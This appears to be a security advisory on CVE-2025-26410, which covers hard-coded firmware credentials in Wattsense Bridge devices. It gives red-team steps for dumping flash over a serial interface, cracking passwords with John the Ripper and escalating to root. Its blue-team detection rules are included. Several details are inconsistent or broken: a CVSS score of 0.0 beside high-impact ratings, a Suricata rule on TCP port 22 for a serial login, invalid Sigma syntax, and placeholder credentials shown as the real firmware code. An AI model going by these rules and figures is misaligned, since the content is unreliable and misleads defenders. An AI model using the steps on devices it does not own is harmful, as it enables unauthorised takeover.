CVE-2025-26410

Executive Summary

CVE-2025-26410 exposes a critical security flaw in Wattsense Bridge devices, where hard-coded user and root credentials are embedded in the firmware. This vulnerability allows an attacker with physical access to the device's serial interface to easily recover the user password through brute-force or dictionary attacks, then log in with full root privileges. The backdoor user has been removed in firmware BSP version 6.4.1 and later. The CVSS score is 0.0 due to the requirement for physical access, but the impact is severe once access is gained.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Wattsense Bridge devices.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Physical (AV:P) – Requires physical access to the serial interface.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No prior authentication needed.
• User Interaction (UI): None (UI:N) – No user action required.
• Scope (S): Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality (C): High (C:H) – Full access to device data.
• Integrity (I): High (I:H) – Ability to modify firmware and configurations.
• Availability (A): High (A:H) – Can disrupt device operation.

Threat Level: High (Physical access required, but full device compromise).

Deep Dive & Mechanics

The vulnerability stems from the use of hard-coded credentials in the firmware of Wattsense Bridge devices. These credentials are identical across all devices, allowing an attacker to:

1. Gain physical access to the device.
2. Connect to the serial interface (e.g., via UART).
3. Use a password cracking tool (e.g., John the Ripper, Hashcat) to recover the user password from the firmware dump.
4. Log in with the recovered credentials and escalate to root using the hard-coded root password.

The backdoor user is present in firmware versions prior to BSP 6.4.1. The credentials are stored in plaintext or easily reversible format, making recovery trivial.

Vulnerable vs. Patched Code

Vulnerable (BSP < 6.4.1):

// Example of hard-coded credentials in firmware
#define BACKDOOR_USER "admin"
#define BACKDOOR_PASS "password123"

Patched (BSP >= 6.4.1):

// Backdoor user removed; credentials are no longer hard-coded
// No such definitions exist in patched firmware

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Physical access to Wattsense Bridge device.
• Serial interface (e.g., UART) exposed on the device.
• USB-to-serial adapter (e.g., FTDI).
• Password cracking tool (e.g., John the Ripper, Hashcat).

Steps:

1. Connect to the serial interface:

   screen /dev/ttyUSB0 115200
   

2. Dump firmware to extract credentials:

   # Using flashrom or similar tool
   flashrom -p linux_spi:dev=/dev/spidev0.0 -r firmware_dump.bin
   

3. Extract password hash from firmware dump:

   strings firmware_dump.bin | grep -i "password"
   

4. Crack the password:

   john --wordlist=rockyou.txt hash.txt
   

5. Log in via serial:

   # After cracking, login with recovered credentials
   login: admin
   password: <cracked_password>
   

6. Escalate to root:

   sudo su -
   

Blue Team (Defense)

Detection:

• Monitor serial port access logs on the device (if available).
• Use physical security measures to prevent unauthorized access to serial interfaces.
• Implement firmware integrity checks to detect tampering.

Mitigation:

• Update firmware to BSP >= 6.4.1.
• Disable serial console if not needed.
• Use secure boot and signed firmware updates.

Indicators of Compromise (IOCs)

• Network: Unusual serial port activity or repeated login attempts.
• Host: Presence of password cracking tools on the device.
• Firmware: Modified firmware with backdoor credentials.
• Logs: Failed login attempts via serial interface.

Detection Engineering

YARA Rule

rule CVE_2025_26410_Wattsense_Backdoor {
    meta:
        description = "Detects hard-coded credentials in Wattsense Bridge firmware"
        author = "Valters IT"
        date = "2025-03-20"
        reference = "CVE-2025-26410"
    strings:
        $cred1 = "admin" ascii wide nocase
        $cred2 = "password" ascii wide nocase
        $cred3 = "root" ascii wide nocase
    condition:
        all of ($cred*) and filesize < 10MB
}

Sigma Rule

title: Wattsense Bridge Hard-coded Credential Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit hard-coded credentials on Wattsense Bridge devices
author: Valters IT
date: 2025-03-20
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/john' or '/hashcat'
        CommandLine|contains: 'password'
    condition: selection
falsepositives:
    - Legitimate password testing
level: high

Suricata Rule

alert tcp any any -> any 22 (msg:"CVE-2025-26410 Wattsense Bridge Serial Login Attempt"; flow:to_server; content:"admin"; nocase; content:"password"; nocase; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update firmware to BSP >= 6.4.1.
2. Physical Security: Restrict physical access to devices.
3. Serial Interface: Disable serial console if not required.
4. Monitoring: Enable logging and monitor for unauthorized access.
5. Credential Management: Use unique, strong passwords for each device.

Valters IT
Securing Digital Frontiers